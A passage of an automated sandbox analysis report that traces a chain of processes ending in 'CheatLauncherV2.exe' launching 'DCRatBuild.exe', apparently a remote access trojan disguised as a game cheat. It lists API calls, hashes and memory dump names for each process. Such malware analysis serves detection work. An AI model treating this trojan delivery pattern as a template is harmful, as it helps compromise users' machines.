Associated: 00000004.00000002.2076627566.0000000000E11000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2077416421.0000000000F7B000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_x8.jbxd

Similarity

API ID: MessageWindow$LoadProcess$ClassCommandCreateCursorDispatchExitHandleHeapIconLineModuleRegisterShowTranslateUpdate
String ID:
API String ID: 673778540-0
Opcode ID: bf6d8b6f60bdcb853f7381a7d85681237ca7f04d2f73d170e19a7b203482a8eb
Instruction ID: 8601b60a343ef63eca695c0712cadf30932154ab05066af7af19716e0146d46f
Opcode Fuzzy Hash: bf6d8b6f60bdcb853f7381a7d85681237ca7f04d2f73d170e19a7b203482a8eb
Instruction Fuzzy Hash: 72E06774959300AAE7217F71AE06B143E74E70474BF10407BF6157A1F6EB786A10AB1D

Analysis Process: x7.exePID: 3712, Parent PID: 3568COMMON

Execution Graph

Execution Coverage:	83.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401000 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 67
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconA.USER32(00403000,000001F4), ref: 0040104C
LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
RegisterClassExA.USER32(00000030), ref: 0040106E
CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
ShowWindow.USER32(00000001,?), ref: 004010BC
UpdateWindow.USER32(00000001), ref: 004010C7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
TranslateMessage.USER32(?), ref: 004010E4
DispatchMessageA.USER32(?), ref: 004010ED

Strings

0, xrefs: 00401006
WinClass32, xrefs: 0040103D, 0040109E, 004010A3

Memory Dump Source

Source File: 00000005.00000002.2087087775.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2087065207.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2087162046.0000000000402000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2087237690.0000000000403000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2087237690.0000000000408000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2087350011.0000000000411000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2087350011.0000000000E11000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2088346574.0000000000F79000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_x7.jbxd

Similarity

API ID: MessageWindow$Load$ClassCreateCursorDispatchIconRegisterShowTranslateUpdate
String ID: 0$WinClass32
API String ID: 282685165-2329282442
Opcode ID: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction ID: db64ee9f6a3c3da8bd2a7b60d0102d68ead382408d30bf1f106ff4c9428f50ce
Opcode Fuzzy Hash: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction Fuzzy Hash: F7213C70D44248AAEF11DFD0CD46BDDBFB8AB04708F20802AF600BA1E5D7B966459B5C

Function 00401AE1 Relevance: 6.0, APIs: 4, Instructions: 16
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32 ref: 00401AE1
GetModuleHandleA.KERNEL32(00000000), ref: 00401AED
GetProcessHeap.KERNEL32(00000000), ref: 00401AF7

Part of subcall function 00401000: LoadIconA.USER32(00403000,000001F4), ref: 0040104C
Part of subcall function 00401000: LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
Part of subcall function 00401000: RegisterClassExA.USER32(00000030), ref: 0040106E
Part of subcall function 00401000: CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
Part of subcall function 00401000: ShowWindow.USER32(00000001,?), ref: 004010BC
Part of subcall function 00401000: UpdateWindow.USER32(00000001), ref: 004010C7
Part of subcall function 00401000: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
Part of subcall function 00401000: TranslateMessage.USER32(?), ref: 004010E4
Part of subcall function 00401000: DispatchMessageA.USER32(?), ref: 004010ED

ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B18

Memory Dump Source

Source File: 00000005.00000002.2087087775.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2087065207.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2087162046.0000000000402000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2087237690.0000000000403000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2087237690.0000000000408000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2087350011.0000000000411000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2087350011.0000000000E11000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2088346574.0000000000F79000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_x7.jbxd

Similarity

API ID: MessageWindow$LoadProcess$ClassCommandCreateCursorDispatchExitHandleHeapIconLineModuleRegisterShowTranslateUpdate
String ID:
API String ID: 673778540-0
Opcode ID: bf6d8b6f60bdcb853f7381a7d85681237ca7f04d2f73d170e19a7b203482a8eb
Instruction ID: 8601b60a343ef63eca695c0712cadf30932154ab05066af7af19716e0146d46f
Opcode Fuzzy Hash: bf6d8b6f60bdcb853f7381a7d85681237ca7f04d2f73d170e19a7b203482a8eb
Instruction Fuzzy Hash: 72E06774959300AAE7217F71AE06B143E74E70474BF10407BF6157A1F6EB786A10AB1D

Analysis Process: x6.exePID: 6532, Parent PID: 3712COMMON

Execution Graph

Execution Coverage:	83.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401000 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 67
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconA.USER32(00403000,000001F4), ref: 0040104C
LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
RegisterClassExA.USER32(00000030), ref: 0040106E
CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
ShowWindow.USER32(00000001,?), ref: 004010BC
UpdateWindow.USER32(00000001), ref: 004010C7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
TranslateMessage.USER32(?), ref: 004010E4
DispatchMessageA.USER32(?), ref: 004010ED

Strings

0, xrefs: 00401006
WinClass32, xrefs: 0040103D, 0040109E, 004010A3

Memory Dump Source

Source File: 00000006.00000002.2095971671.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2095944434.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2095994919.0000000000402000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2096020709.0000000000403000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2096020709.0000000000408000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2096066667.0000000000411000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2096066667.0000000000E11000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2097239761.0000000000F77000.00000004.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_x6.jbxd

Similarity

API ID: MessageWindow$Load$ClassCreateCursorDispatchIconRegisterShowTranslateUpdate
String ID: 0$WinClass32
API String ID: 282685165-2329282442
Opcode ID: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction ID: db64ee9f6a3c3da8bd2a7b60d0102d68ead382408d30bf1f106ff4c9428f50ce
Opcode Fuzzy Hash: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction Fuzzy Hash: F7213C70D44248AAEF11DFD0CD46BDDBFB8AB04708F20802AF600BA1E5D7B966459B5C

Function 00401AE1 Relevance: 6.0, APIs: 4, Instructions: 16
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32 ref: 00401AE1
GetModuleHandleA.KERNEL32(00000000), ref: 00401AED
GetProcessHeap.KERNEL32(00000000), ref: 00401AF7

Part of subcall function 00401000: LoadIconA.USER32(00403000,000001F4), ref: 0040104C
Part of subcall function 00401000: LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
Part of subcall function 00401000: RegisterClassExA.USER32(00000030), ref: 0040106E
Part of subcall function 00401000: CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
Part of subcall function 00401000: ShowWindow.USER32(00000001,?), ref: 004010BC
Part of subcall function 00401000: UpdateWindow.USER32(00000001), ref: 004010C7
Part of subcall function 00401000: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
Part of subcall function 00401000: TranslateMessage.USER32(?), ref: 004010E4
Part of subcall function 00401000: DispatchMessageA.USER32(?), ref: 004010ED

ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B18

Memory Dump Source

Source File: 00000006.00000002.2095971671.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2095944434.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2095994919.0000000000402000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2096020709.0000000000403000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2096020709.0000000000408000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2096066667.0000000000411000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2096066667.0000000000E11000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2097239761.0000000000F77000.00000004.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_x6.jbxd

Similarity

API ID: MessageWindow$LoadProcess$ClassCommandCreateCursorDispatchExitHandleHeapIconLineModuleRegisterShowTranslateUpdate
String ID:
API String ID: 673778540-0
Opcode ID: bf6d8b6f60bdcb853f7381a7d85681237ca7f04d2f73d170e19a7b203482a8eb
Instruction ID: 8601b60a343ef63eca695c0712cadf30932154ab05066af7af19716e0146d46f
Opcode Fuzzy Hash: bf6d8b6f60bdcb853f7381a7d85681237ca7f04d2f73d170e19a7b203482a8eb
Instruction Fuzzy Hash: 72E06774959300AAE7217F71AE06B143E74E70474BF10407BF6157A1F6EB786A10AB1D

Analysis Process: x5.exePID: 5244, Parent PID: 6532COMMON

Execution Graph

Execution Coverage:	83.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401000 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 67
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconA.USER32(00403000,000001F4), ref: 0040104C
LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
RegisterClassExA.USER32(00000030), ref: 0040106E
CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
ShowWindow.USER32(00000001,?), ref: 004010BC
UpdateWindow.USER32(00000001), ref: 004010C7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
TranslateMessage.USER32(?), ref: 004010E4
DispatchMessageA.USER32(?), ref: 004010ED

Strings

0, xrefs: 00401006
WinClass32, xrefs: 0040103D, 0040109E, 004010A3

Memory Dump Source

Source File: 00000007.00000002.2107753206.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2107730680.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2107776663.0000000000402000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2107797414.0000000000403000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2107797414.0000000000408000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2108244234.0000000000411000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2108244234.0000000000E11000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2109761526.0000000000F75000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_x5.jbxd

Similarity

API ID: MessageWindow$Load$ClassCreateCursorDispatchIconRegisterShowTranslateUpdate
String ID: 0$WinClass32
API String ID: 282685165-2329282442
Opcode ID: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction ID: db64ee9f6a3c3da8bd2a7b60d0102d68ead382408d30bf1f106ff4c9428f50ce
Opcode Fuzzy Hash: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction Fuzzy Hash: F7213C70D44248AAEF11DFD0CD46BDDBFB8AB04708F20802AF600BA1E5D7B966459B5C

Function 00401AE1 Relevance: 6.0, APIs: 4, Instructions: 16
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32 ref: 00401AE1
GetModuleHandleA.KERNEL32(00000000), ref: 00401AED
GetProcessHeap.KERNEL32(00000000), ref: 00401AF7

Part of subcall function 00401000: LoadIconA.USER32(00403000,000001F4), ref: 0040104C
Part of subcall function 00401000: LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
Part of subcall function 00401000: RegisterClassExA.USER32(00000030), ref: 0040106E
Part of subcall function 00401000: CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
Part of subcall function 00401000: ShowWindow.USER32(00000001,?), ref: 004010BC
Part of subcall function 00401000: UpdateWindow.USER32(00000001), ref: 004010C7
Part of subcall function 00401000: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
Part of subcall function 00401000: TranslateMessage.USER32(?), ref: 004010E4
Part of subcall function 00401000: DispatchMessageA.USER32(?), ref: 004010ED

ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B18

Memory Dump Source

Source File: 00000007.00000002.2107753206.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2107730680.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2107776663.0000000000402000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2107797414.0000000000403000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2107797414.0000000000408000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2108244234.0000000000411000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2108244234.0000000000E11000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2109761526.0000000000F75000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_x5.jbxd

Similarity

API ID: MessageWindow$LoadProcess$ClassCommandCreateCursorDispatchExitHandleHeapIconLineModuleRegisterShowTranslateUpdate
String ID:
API String ID: 673778540-0
Opcode ID: bf6d8b6f60bdcb853f7381a7d85681237ca7f04d2f73d170e19a7b203482a8eb
Instruction ID: 8601b60a343ef63eca695c0712cadf30932154ab05066af7af19716e0146d46f
Opcode Fuzzy Hash: bf6d8b6f60bdcb853f7381a7d85681237ca7f04d2f73d170e19a7b203482a8eb
Instruction Fuzzy Hash: 72E06774959300AAE7217F71AE06B143E74E70474BF10407BF6157A1F6EB786A10AB1D

Analysis Process: x4.exePID: 6772, Parent PID: 5244COMMON

Execution Graph

Execution Coverage:	83.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401000 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 67
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconA.USER32(00403000,000001F4), ref: 0040104C
LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
RegisterClassExA.USER32(00000030), ref: 0040106E
CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
ShowWindow.USER32(00000001,?), ref: 004010BC
UpdateWindow.USER32(00000001), ref: 004010C7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
TranslateMessage.USER32(?), ref: 004010E4
DispatchMessageA.USER32(?), ref: 004010ED

Strings

0, xrefs: 00401006
WinClass32, xrefs: 0040103D, 0040109E, 004010A3

Memory Dump Source

Source File: 00000008.00000002.2117371660.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2117307627.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2117492149.0000000000402000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2117531120.0000000000403000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2117531120.0000000000408000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2117599347.0000000000411000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2117599347.0000000000E11000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2119206602.0000000000F73000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_x4.jbxd

Similarity

API ID: MessageWindow$Load$ClassCreateCursorDispatchIconRegisterShowTranslateUpdate
String ID: 0$WinClass32
API String ID: 282685165-2329282442
Opcode ID: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction ID: db64ee9f6a3c3da8bd2a7b60d0102d68ead382408d30bf1f106ff4c9428f50ce
Opcode Fuzzy Hash: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction Fuzzy Hash: F7213C70D44248AAEF11DFD0CD46BDDBFB8AB04708F20802AF600BA1E5D7B966459B5C

Function 00401AE1 Relevance: 6.0, APIs: 4, Instructions: 16
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32 ref: 00401AE1
GetModuleHandleA.KERNEL32(00000000), ref: 00401AED
GetProcessHeap.KERNEL32(00000000), ref: 00401AF7

Part of subcall function 00401000: LoadIconA.USER32(00403000,000001F4), ref: 0040104C
Part of subcall function 00401000: LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
Part of subcall function 00401000: RegisterClassExA.USER32(00000030), ref: 0040106E
Part of subcall function 00401000: CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
Part of subcall function 00401000: ShowWindow.USER32(00000001,?), ref: 004010BC
Part of subcall function 00401000: UpdateWindow.USER32(00000001), ref: 004010C7
Part of subcall function 00401000: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
Part of subcall function 00401000: TranslateMessage.USER32(?), ref: 004010E4
Part of subcall function 00401000: DispatchMessageA.USER32(?), ref: 004010ED

ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B18

Memory Dump Source

Source File: 00000008.00000002.2117371660.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2117307627.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2117492149.0000000000402000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2117531120.0000000000403000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2117531120.0000000000408000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2117599347.0000000000411000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2117599347.0000000000E11000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2119206602.0000000000F73000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_x4.jbxd

Similarity

API ID: MessageWindow$LoadProcess$ClassCommandCreateCursorDispatchExitHandleHeapIconLineModuleRegisterShowTranslateUpdate
String ID:
API String ID: 673778540-0
Opcode ID: bf6d8b6f60bdcb853f7381a7d85681237ca7f04d2f73d170e19a7b203482a8eb
Instruction ID: 8601b60a343ef63eca695c0712cadf30932154ab05066af7af19716e0146d46f
Opcode Fuzzy Hash: bf6d8b6f60bdcb853f7381a7d85681237ca7f04d2f73d170e19a7b203482a8eb
Instruction Fuzzy Hash: 72E06774959300AAE7217F71AE06B143E74E70474BF10407BF6157A1F6EB786A10AB1D

Analysis Process: CheatLauncherV2.exePID: 5748, Parent PID: 6772COMMON

Execution Graph

Execution Coverage:	83.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401000 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 67
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconA.USER32(00403000,000001F4), ref: 0040104C
LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
RegisterClassExA.USER32(00000030), ref: 0040106E
CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
ShowWindow.USER32(00000001,?), ref: 004010BC
UpdateWindow.USER32(00000001), ref: 004010C7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
TranslateMessage.USER32(?), ref: 004010E4
DispatchMessageA.USER32(?), ref: 004010ED

Strings

0, xrefs: 00401006
WinClass32, xrefs: 0040103D, 0040109E, 004010A3

Memory Dump Source

Source File: 00000009.00000002.2139724583.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2139658084.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.2139767843.0000000000402000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.2139887172.0000000000403000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.2139887172.0000000000408000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.2140082119.0000000000411000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.2140082119.0000000000E11000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.2141999543.0000000000F76000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.2142037739.0000000000F77000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_CheatLauncherV2.jbxd

Similarity

API ID: MessageWindow$Load$ClassCreateCursorDispatchIconRegisterShowTranslateUpdate
String ID: 0$WinClass32
API String ID: 282685165-2329282442
Opcode ID: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction ID: db64ee9f6a3c3da8bd2a7b60d0102d68ead382408d30bf1f106ff4c9428f50ce
Opcode Fuzzy Hash: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction Fuzzy Hash: F7213C70D44248AAEF11DFD0CD46BDDBFB8AB04708F20802AF600BA1E5D7B966459B5C

Function 00401AE1 Relevance: 6.0, APIs: 4, Instructions: 16
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32 ref: 00401AE1
GetModuleHandleA.KERNEL32(00000000), ref: 00401AED
GetProcessHeap.KERNEL32(00000000), ref: 00401AF7

Part of subcall function 00401000: LoadIconA.USER32(00403000,000001F4), ref: 0040104C
Part of subcall function 00401000: LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
Part of subcall function 00401000: RegisterClassExA.USER32(00000030), ref: 0040106E
Part of subcall function 00401000: CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
Part of subcall function 00401000: ShowWindow.USER32(00000001,?), ref: 004010BC
Part of subcall function 00401000: UpdateWindow.USER32(00000001), ref: 004010C7
Part of subcall function 00401000: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
Part of subcall function 00401000: TranslateMessage.USER32(?), ref: 004010E4
Part of subcall function 00401000: DispatchMessageA.USER32(?), ref: 004010ED

ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B18

Memory Dump Source

Source File: 00000009.00000002.2139724583.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2139658084.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.2139767843.0000000000402000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.2139887172.0000000000403000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.2139887172.0000000000408000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.2140082119.0000000000411000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.2140082119.0000000000E11000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.2141999543.0000000000F76000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.2142037739.0000000000F77000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_CheatLauncherV2.jbxd

Similarity

API ID: MessageWindow$LoadProcess$ClassCommandCreateCursorDispatchExitHandleHeapIconLineModuleRegisterShowTranslateUpdate
String ID:
API String ID: 673778540-0
Opcode ID: bf6d8b6f60bdcb853f7381a7d85681237ca7f04d2f73d170e19a7b203482a8eb
Instruction ID: 8601b60a343ef63eca695c0712cadf30932154ab05066af7af19716e0146d46f
Opcode Fuzzy Hash: bf6d8b6f60bdcb853f7381a7d85681237ca7f04d2f73d170e19a7b203482a8eb
Instruction Fuzzy Hash: 72E06774959300AAE7217F71AE06B143E74E70474BF10407BF6157A1F6EB786A10AB1D

Analysis Process: DCRatBuild.exePID: 5860, Parent PID: 5748COMMON

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.1%
Total number of Nodes:	1487
Total number of Limit Nodes:	29

Executed Functions

Function 00FDD5D4 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 197
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FD00CF: GetModuleHandleW.KERNEL32(kernel32), ref: 00FD00E4
Part of subcall function 00FD00CF: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00FD00F6
Part of subcall function 00FD00CF: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00FD0127

Part of subcall function 00FD9DA4: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00FD9DAC

Part of subcall function 00FDA335: OleInitialize.OLE32(00000000), ref: 00FDA34E
Part of subcall function 00FDA335: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00FDA385
Part of subcall function 00FDA335: SHGetMalloc.SHELL32(01008430), ref: 00FDA38F

Part of subcall function 00FD13B3: GetCPInfo.KERNEL32(00000000,?), ref: 00FD13C4
Part of subcall function 00FD13B3: IsDBCSLeadByte.KERNEL32(00000000), ref: 00FD13D8

GetCommandLineW.KERNEL32 ref: 00FDD61C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00FDD643
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 00FDD654
UnmapViewOfFile.KERNEL32(00000000), ref: 00FDD68E

Part of subcall function 00FDD287: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 00FDD29D
